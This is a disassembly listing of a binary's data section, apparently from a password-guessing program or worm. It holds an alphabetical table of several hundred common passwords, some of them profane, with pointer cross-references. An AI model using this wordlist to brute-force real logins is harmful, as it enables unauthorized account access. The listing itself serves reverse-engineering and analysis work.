aHttp_0		db 'http',0             ; DATA XREF: ___:004303B0o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: ___:004303ACo
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: ___:004303A8o
		align 10h
aHost		db 'host',0             ; DATA XREF: ___:004303A4o
		align 4
aHorus		db 'horus',0            ; DATA XREF: ___:004303A0o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: ___:0043039Co
		align 4
aHorror		db 'horror',0           ; DATA XREF: ___:00430398o
		align 10h
aHorrible	db 'horrible',0         ; DATA XREF: ___:00430394o
		align 4
aHorny		db 'horny',0            ; DATA XREF: ___:00430390o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:0043038Co
aHooker		db 'hooker',0           ; DATA XREF: ___:00430388o
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:00430384o
		align 4
aHomework	db 'homework',0         ; DATA XREF: ___:00430380o
		align 4
aHomer		db 'homer',0            ; DATA XREF: ___:0043037Co
		align 10h
aHomepage	db 'homepage',0         ; DATA XREF: ___:00430378o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:00430374o
		align 4
aHolly		db 'holly',0            ; DATA XREF: ___:00430370o
		align 10h
aHole		db 'hole',0             ; DATA XREF: ___:0043036Co
		align 4
aHits		db 'hits',0             ; DATA XREF: ___:00430368o
		align 10h
aHitler		db 'hitler',0           ; DATA XREF: ___:00430364o
		align 4
aHighland	db 'highland',0         ; DATA XREF: ___:00430360o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:0043035Co
		align 4
aHidden		db 'hidden',0           ; DATA XREF: ___:00430358o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:00430354o
		align 10h
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:00430350o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:0043034Co
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: ___:00430348o
aHeroin		db 'heroin',0           ; DATA XREF: ___:00430344o
		align 4
aHero		db 'hero',0             ; DATA XREF: ___:00430340o
		align 10h
aHerbert	db 'herbert',0          ; DATA XREF: ___:0043033Co
aHerb		db 'herb',0             ; DATA XREF: ___:00430338o
		align 10h
aHelp		db 'help',0             ; DATA XREF: ___:00430334o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00430330o
		align 10h
aHell		db 'hell',0             ; DATA XREF: ___:0043032Co
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:00430328o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:00430324o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: ___:00430320o
		align 4
aHeather	db 'heather',0          ; DATA XREF: ___:0043031Co
aHeathen	db 'heathen',0          ; DATA XREF: ___:00430318o
aHeat		db 'heat',0             ; DATA XREF: ___:00430314o
		align 10h
aHeadbang	db 'headbang',0         ; DATA XREF: ___:00430310o
		align 4
aHead		db 'head',0             ; DATA XREF: ___:0043030Co
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:00430308o
		align 4
aHaven		db 'haven',0            ; DATA XREF: ___:00430304o
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:00430300o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: ___:004302FCo
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:004302F8o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: ___:004302F4o
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:004302F0o
		align 10h
aHardcore	db 'hardcore',0         ; DATA XREF: ___:004302ECo
		align 4
aHard		db 'hard',0             ; DATA XREF: ___:004302E8o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:004302E4o
		align 10h
aHandjob	db 'handjob',0          ; DATA XREF: ___:004302E0o
aHandily	db 'handily',0          ; DATA XREF: ___:004302DCo
aHandel		db 'handel',0           ; DATA XREF: ___:004302D8o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: ___:004302D4o
aHamlet		db 'hamlet',0           ; DATA XREF: ___:004302D0o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: ___:004302CCo
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:004302C8o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: ___:004302C4o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:004302C0o
		align 4
aHack		db 'hack',0             ; DATA XREF: ___:004302BCo
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:004302B8o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: ___:004302B4o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: ___:004302B0o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: ___:004302ACo
		align 4
aGucci		db 'gucci',0            ; DATA XREF: ___:004302A8o
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: ___:004302A4o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: ___:004302A0o
aGroup		db 'group',0            ; DATA XREF: ___:0043029Co
		align 4
aGreen		db 'green',0            ; DATA XREF: ___:00430298o
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:00430294o
		align 4
aGrant		db 'grant',0            ; DATA XREF: ___:00430290o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:0043028Co
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: ___:00430288o
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:00430284o
		align 4
aGrades		db 'grades',0           ; DATA XREF: ___:00430280o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:0043027Co
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: ___:00430278o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: ___:00430274o
aGorges		db 'gorges',0           ; DATA XREF: ___:00430270o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:0043026Co
		align 4
aGood		db 'good',0             ; DATA XREF: ___:00430268o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: ___:00430264o
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:00430260o
		align 4
aGolden		db 'golden',0           ; DATA XREF: ___:0043025Co
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:00430258o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: ___:00430254o
aGirl		db 'girl',0             ; DATA XREF: ___:00430250o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: ___:0043024Co
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:00430248o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:00430244o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: ___:00430240o
		align 10h
aGhost		db 'ghost',0            ; DATA XREF: ___:0043023Co
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: ___:00430238o
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:00430234o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:00430230o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:0043022Co
		align 4
aGatt		db 'gatt',0             ; DATA XREF: ___:00430228o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:00430224o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: ___:00430220o
aGarfield	db 'garfield',0         ; DATA XREF: ___:0043021Co
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:00430218o
aGames		db 'games',0            ; DATA XREF: ___:00430214o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:00430210o
aFungible	db 'fungible',0         ; DATA XREF: ___:0043020Co
		align 4
aFunction	db 'function',0         ; DATA XREF: ___:00430208o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:00430204o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:00430200o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:004301FCo
		align 4
aFucking	db 'fucking',0          ; DATA XREF: ___:004301F8o
aFucker		db 'fucker',0           ; DATA XREF: ___:004301F4o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:004301F0o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:004301ECo
		align 4
aFrog		db 'frog',0             ; DATA XREF: ___:004301E8o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:004301E4o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: ___:004301E0o
aFriend		db 'friend',0           ; DATA XREF: ___:004301DCo
		align 10h
aFriday		db 'friday',0           ; DATA XREF: ___:004301D8o
		align 4
aFrench		db 'french',0           ; DATA XREF: ___:004301D4o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: ___:004301D0o
aFree		db 'free',0             ; DATA XREF: ___:004301CCo
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004301C8o
		align 4
aFreak		db 'freak',0            ; DATA XREF: ___:004301C4o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: ___:004301C0o
		align 4
aFrance		db 'france',0           ; DATA XREF: ___:004301BCo
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:004301B8o
aFourier	db 'fourier',0          ; DATA XREF: ___:004301B4o
aForsythe	db 'forsythe',0         ; DATA XREF: ___:004301B0o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: ___:004301ACo
		align 4
aFormat		db 'format',0           ; DATA XREF: ___:004301A8o
		align 10h
aForm		db 'form',0             ; DATA XREF: ___:004301A4o
		align 4
aForever	db 'forever',0          ; DATA XREF: ___:004301A0o
aForesigh	db 'foresigh',0         ; DATA XREF: ___:0043019Co
		align 4
aFord		db 'ford',0             ; DATA XREF: ___:00430198o
		align 4
aForce		db 'force',0            ; DATA XREF: ___:00430194o
		align 4
aFootball	db 'football',0         ; DATA XREF: ___:00430190o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: ___:0043018Co
		align 4
aFool		db 'fool',0             ; DATA XREF: ___:00430188o
		align 4
aFood		db 'food',0             ; DATA XREF: ___:00430184o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: ___:00430180o
aFlower		db 'flower',0           ; DATA XREF: ___:0043017Co
		align 4
aFlorida	db 'florida',0          ; DATA XREF: ___:00430178o
aFloat		db 'float',0            ; DATA XREF: ___:00430174o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: ___:00430170o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: ___:0043016Co
aFirewall	db 'firewall',0         ; DATA XREF: ___:00430168o
		align 10h
aFire		db 'fire',0             ; DATA XREF: ___:00430164o
		align 4
aFinite		db 'finite',0           ; DATA XREF: ___:00430160o
		align 10h
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: ___:00430158o
		align 10h
aField		db 'field',0            ; DATA XREF: ___:00430154o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: ___:00430150o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: ___:0043014Co
aFermat		db 'fermat',0           ; DATA XREF: ___:00430148o
		align 4
aFender		db 'fender',0           ; DATA XREF: ___:00430144o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: ___:00430140o
aFeds		db 'feds',0             ; DATA XREF: ___:0043013Co
		align 4
aFear		db 'fear',0             ; DATA XREF: ___:00430138o
		align 4
aFast		db 'fast',0             ; DATA XREF: ___:00430134o
		align 4
aFart		db 'fart',0             ; DATA XREF: ___:00430130o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: ___:0043012Co
aFarad		db 'farad',0            ; DATA XREF: ___:00430128o
		align 4
aFamily		db 'family',0           ; DATA XREF: ___:00430124o
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:00430120o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: ___:0043011Co
		align 4
aFaith		db 'faith',0            ; DATA XREF: ___:00430118o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: ___:00430114o
aExtensio	db 'extensio',0         ; DATA XREF: ___:00430110o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: ___:0043010Co
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: ___:00430108o
		align 10h
aExplore	db 'explore',0          ; DATA XREF: ___:00430104o
aExplode	db 'explode',0          ; DATA XREF: ___:00430100o
aExpert		db 'expert',0           ; DATA XREF: ___:004300FCo
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: ___:004300F8o
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: ___:004300F4o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: ___:004300F0o
		align 4
aEstate		db 'estate',0           ; DATA XREF: ___:004300ECo
		align 4
aEstablis	db 'establis',0         ; DATA XREF: ___:004300E8o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: ___:004300E4o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: ___:004300E0o
		align 4
aErin		db 'erin',0             ; DATA XREF: ___:004300DCo
		align 10h
aErika		db 'erika',0            ; DATA XREF: ___:004300D8o
		align 4
aErica		db 'erica',0            ; DATA XREF: ___:004300D4o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004300D0o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: ___:004300CCo
aEnzyme		db 'enzyme',0           ; DATA XREF: ___:004300C8o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: ___:004300C4o
		align 4
aEnter		db 'enter',0            ; DATA XREF: ___:004300C0o
		align 4
aEnglish	db 'english',0          ; DATA XREF: ___:004300BCo
aEngland	db 'england',0          ; DATA XREF: ___:004300B8o
aEngineer	db 'engineer',0         ; DATA XREF: ___:004300B4o
		align 4
aEngine		db 'engine',0           ; DATA XREF: ___:004300B0o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: ___:004300ACo
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: ___:004300A8o
		align 4
aEmily		db 'emily',0            ; DATA XREF: ___:004300A4o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: ___:004300A0o
aEmail		db 'email',0            ; DATA XREF: ___:0043009Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: ___:00430098o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: ___:00430094o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: ___:00430090o
		align 4
aElectron	db 'electron',0         ; DATA XREF: ___:0043008Co
		align 4
aElanor		db 'elanor',0           ; DATA XREF: ___:00430088o
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: ___:00430084o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: ___:00430080o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: ___:0043007Co
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: ___:00430078o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: ___:00430074o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: ___:00430070o
aEdwina		db 'edwina',0           ; DATA XREF: ___:0043006Co
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: ___:00430068o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: ___:00430064o
		align 4
aEducation	db 'education',0        ; DATA XREF: ___:00430060o
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:off_43005Co
aEdit		db 'edit',0             ; DATA XREF: ___:00430058o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:00430054o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: ___:off_430050o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: ___:0043004Co
		align 10h
aEcho		db 'echo',0             ; DATA XREF: ___:00430048o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: ___:00430044o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: ___:00430040o
		align 4
aEasier		db 'easier',0           ; DATA XREF: ___:0043003Co
		align 10h
aEarth		db 'earth',0            ; DATA XREF: ___:00430038o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: ___:00430034o
		align 10h
aEager		db 'eager',0            ; DATA XREF: ___:00430030o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: ___:0043002Co
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: ___:00430028o
aDuncan		db 'duncan',0           ; DATA XREF: ___:00430024o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: ___:00430020o
		align 4
aDuke		db 'duke',0             ; DATA XREF: ___:0043001Co
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: ___:00430018o
aDude		db 'dude',0             ; DATA XREF: ___:00430014o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: ___:00430010o
		align 4
aDrought	db 'drought',0          ; DATA XREF: ___:0043000Co
aDrive		db 'drive',0            ; DATA XREF: ___:00430008o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:00430004o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: ___:00430000o
		align 4
aDownload	db 'download',0         ; DATA XREF: ___:0042FFFCo
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:0042FFF8o
		align 4
aDoors		db 'doors',0            ; DATA XREF: ___:0042FFF4o
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:0042FFF0o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:0042FFECo
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:0042FFE8o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:0042FFE4o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: ___:0042FFE0o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:0042FFDCo
		align 4
aDong		db 'dong',0             ; DATA XREF: ___:0042FFD8o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: ___:0042FFD4o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: ___:0042FFD0o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: ___:0042FFCCo
aDisney		db 'disney',0           ; DATA XREF: ___:0042FFC8o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: ___:0042FFC4o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: ___:0042FFC0o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: ___:0042FFBCo
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: ___:0042FFB8o
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: ___:0042FFB4o
		align 4
aDisc		db 'disc',0             ; DATA XREF: ___:0042FFB0o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: ___:0042FFACo
		align 4
aDirector	db 'director',0         ; DATA XREF: ___:0042FFA8o
		align 4
aDirect		db 'direct',0           ; DATA XREF: ___:0042FFA4o
		align 10h
aDipshit	db 'dipshit',0          ; DATA XREF: ___:0042FFA0o
aDinosaur	db 'dinosaur',0         ; DATA XREF: ___:0042FF9Co
		align 4
aDigital	db 'digital',0          ; DATA XREF: ___:0042FF98o
aDieter		db 'dieter',0           ; DATA XREF: ___:0042FF94o
		align 4
aDiet		db 'diet',0             ; DATA XREF: ___:0042FF90o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: ___:0042FF8Co
aDick		db 'dick',0             ; DATA XREF: ___:0042FF88o
		align 4
aDice		db 'dice',0             ; DATA XREF: ___:0042FF84o
		align 4
aDiane		db 'diane',0            ; DATA XREF: ___:0042FF80o
		align 4
aDiana		db 'diana',0            ; DATA XREF: ___:0042FF7Co
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:0042FF78o
aDial		db 'dial',0             ; DATA XREF: ___:0042FF74o
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:0042FF70o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: ___:0042FF6Co
aDesperat	db 'desperat',0         ; DATA XREF: ___:0042FF68o
		align 10h
aDesktop	db 'desktop',0          ; DATA XREF: ___:0042FF64o
aDesk		db 'desk',0             ; DATA XREF: ___:0042FF60o
		align 10h
aDesiree	db 'desiree',0          ; DATA XREF: ___:0042FF5Co
aDennis		db 'dennis',0           ; DATA XREF: ___:0042FF58o
		align 10h
aDenise		db 'denise',0           ; DATA XREF: ___:0042FF54o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: ___:0042FF50o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:0042FF4Co
		align 4
aDelta		db 'delta',0            ; DATA XREF: ___:0042FF48o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:0042FF44o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: ___:0042FF40o
aDeck		db 'deck',0             ; DATA XREF: ___:0042FF38o
		align 4
aDecember	db 'december',0         ; DATA XREF: ___:0042FF34o
		align 4
aDebug		db 'debug',0            ; DATA XREF: ___:0042FF30o
		align 10h
aDeborah	db 'deborah',0          ; DATA XREF: ___:0042FF2Co
aDebbie		db 'debbie',0           ; DATA XREF: ___:0042FF28o
		align 10h
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:0042FF24o
		align 4
aDead		db 'dead',0             ; DATA XREF: ___:0042FF20o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:0042FF1Co
		align 4
aDave		db 'dave',0             ; DATA XREF: ___:0042FF18o
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042FF14o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:0042FF10o
		align 4
aDark		db 'dark',0             ; DATA XREF: ___:0042FF0Co
		align 10h
aDapper		db 'dapper',0           ; DATA XREF: ___:0042FF08o
		align 4
aDanny		db 'danny',0            ; DATA XREF: ___:0042FF04o
		align 10h
aDanielle	db 'danielle',0         ; DATA XREF: ___:0042FF00o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: ___:0042FEFCo
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042FEF8o
		align 4
aDana		db 'dana',0             ; DATA XREF: ___:0042FEF4o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:0042FEF0o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: ___:0042FEECo
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042FEE8o
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:0042FEE4o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:0042FEE0o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: ___:0042FEDCo
		align 4
aCustomer	db 'customer',0         ; DATA XREF: ___:0042FED8o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: ___:0042FED4o
		align 10h
aCshrc		db 'cshrc',0            ; DATA XREF: ___:0042FED0o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: ___:0042FECCo
aCristina	db 'cristina',0         ; DATA XREF: ___:0042FEC8o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: ___:0042FEC4o
		align 4
aCrime		db 'crime',0            ; DATA XREF: ___:0042FEC0o
		align 10h
aCretin		db 'cretin',0           ; DATA XREF: ___:0042FEBCo
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042FEB8o
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:0042FEB4o
		align 4
aCreature	db 'creature',0         ; DATA XREF: ___:0042FEB0o
		align 4
aCreation	db 'creation',0         ; DATA XREF: ___:0042FEACo
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042FEA8o
		align 4
aCream		db 'cream',0            ; DATA XREF: ___:0042FEA4o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:0042FEA0o
		align 10h
aCrack		db 'crack',0            ; DATA XREF: ___:0042FE9Co
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042FE98o
		align 10h
aCouscous	db 'couscous',0         ; DATA XREF: ___:0042FE94o
		align 4
aCountry	db 'country',0          ; DATA XREF: ___:0042FE90o
aCounters	db 'counters',0         ; DATA XREF: ___:0042FE8Co
		align 10h
aCorrect	db 'correct',0          ; DATA XREF: ___:0042FE88o
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:0042FE84o
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:0042FE80o
		align 4
aCops		db 'cops',0             ; DATA XREF: ___:0042FE7Co
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042FE78o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: ___:0042FE74o
		align 4
aCool_1		db 'cool',0             ; DATA XREF: ___:0042FE70o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: ___:0042FE6Co
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042FE68o
		align 10h
aCook		db 'cook',0             ; DATA XREF: ___:0042FE64o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
					; ___:0042FE60o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:0042FE5Co
aConserva	db 'conserva',0         ; DATA XREF: ___:0042FE58o
		align 4
aConnie		db 'connie',0           ; DATA XREF: ___:0042FE54o
		align 10h
aCondom		db 'condom',0           ; DATA XREF: ___:0042FE4Co
		align 4
aCondo		db 'condo',0            ; DATA XREF: ___:0042FE48o
		align 10h
aComrades	db 'comrades',0         ; DATA XREF: ___:0042FE44o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: ___:0042FE40o
aComputin	db 'computin',0         ; DATA XREF: ___:0042FE3Co
		align 10h
aCompany	db 'company',0          ; DATA XREF: ___:0042FE38o
aCommrade	db 'commrade',0         ; DATA XREF: ___:0042FE34o
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:0042FE30o
		align 4
aComics		db 'comics',0           ; DATA XREF: ___:0042FE2Co
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:0042FE28o
		align 4
aColor		db 'color',0            ; DATA XREF: ___:0042FE24o
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:0042FE20o
aCold		db 'cold',0             ; DATA XREF: ___:0042FE1Co
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:0042FE18o
		align 4
aCoke		db 'coke',0             ; DATA XREF: ___:0042FE14o
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:0042FE10o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: ___:0042FE0Co
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:0042FE08o
		align 10h
aCodename	db 'codename',0         ; DATA XREF: ___:0042FE04o
		align 4
aCode		db 'code',0             ; DATA XREF: ___:0042FE00o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:0042FDFCo
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042FDF8o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: ___:0042FDF4o
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:0042FDF0o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: ___:0042FDECo
		align 4
aCluster	db 'cluster',0          ; DATA XREF: ___:0042FDE8o
aClinton	db 'clinton',0          ; DATA XREF: ___:0042FDE4o
aCleavage	db 'cleavage',0         ; DATA XREF: ___:0042FDE0o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:0042FDDCo
		align 10h
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042FDD8o
aClassic	db 'classic',0          ; DATA XREF: ___:0042FDD4o
aClasses	db 'classes',0          ; DATA XREF: ___:0042FDD0o
aClass		db 'class',0            ; DATA XREF: ___:0042FDCCo
		align 10h
aCindy		db 'cindy',0            ; DATA XREF: ___:0042FDC8o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: ___:0042FDC4o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:0042FDC0o
		align 4
aChristy	db 'christy',0          ; DATA XREF: ___:0042FDBCo
aChristin	db 'christin',0         ; DATA XREF: ___:0042FDB8o
		align 10h
aChris		db 'chris',0            ; DATA XREF: ___:0042FDB4o
		align 4
aChip		db 'chip',0             ; DATA XREF: ___:0042FDB0o
		align 10h
aChester	db 'chester',0          ; DATA XREF: ___:0042FDACo
aChess		db 'chess',0            ; DATA XREF: ___:0042FDA8o
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: ___:0042FDA4o
		align 4
aChem		db 'chem',0             ; DATA XREF: ___:0042FDA0o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:0042FD9Co
		align 4
aCharon		db 'charon',0           ; DATA XREF: ___:0042FD98o
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:0042FD94o
		align 10h
aCharlie	db 'charlie',0          ; DATA XREF: ___:0042FD90o
aCharles	db 'charles',0          ; DATA XREF: ___:0042FD8Co
aCharity	db 'charity',0          ; DATA XREF: ___:0042FD88o
aChange		db 'change',0           ; DATA XREF: ___:0042FD84o
		align 10h
aCerulean	db 'cerulean',0         ; DATA XREF: ___:0042FD80o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: ___:0042FD7Co
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042FD78o
		align 4
aCelt		db 'celt',0             ; DATA XREF: ___:0042FD74o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:0042FD70o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: ___:0042FD6Co
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042FD68o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: ___:0042FD64o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:0042FD60o
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: ___:0042FD5Co
		align 4
aCastle		db 'castle',0           ; DATA XREF: ___:0042FD58o
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:0042FD54o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: ___:0042FD50o
		align 4
aCarson		db 'carson',0           ; DATA XREF: ___:0042FD4Co
		align 10h
aCarrie		db 'carrie',0           ; DATA XREF: ___:0042FD48o
		align 4
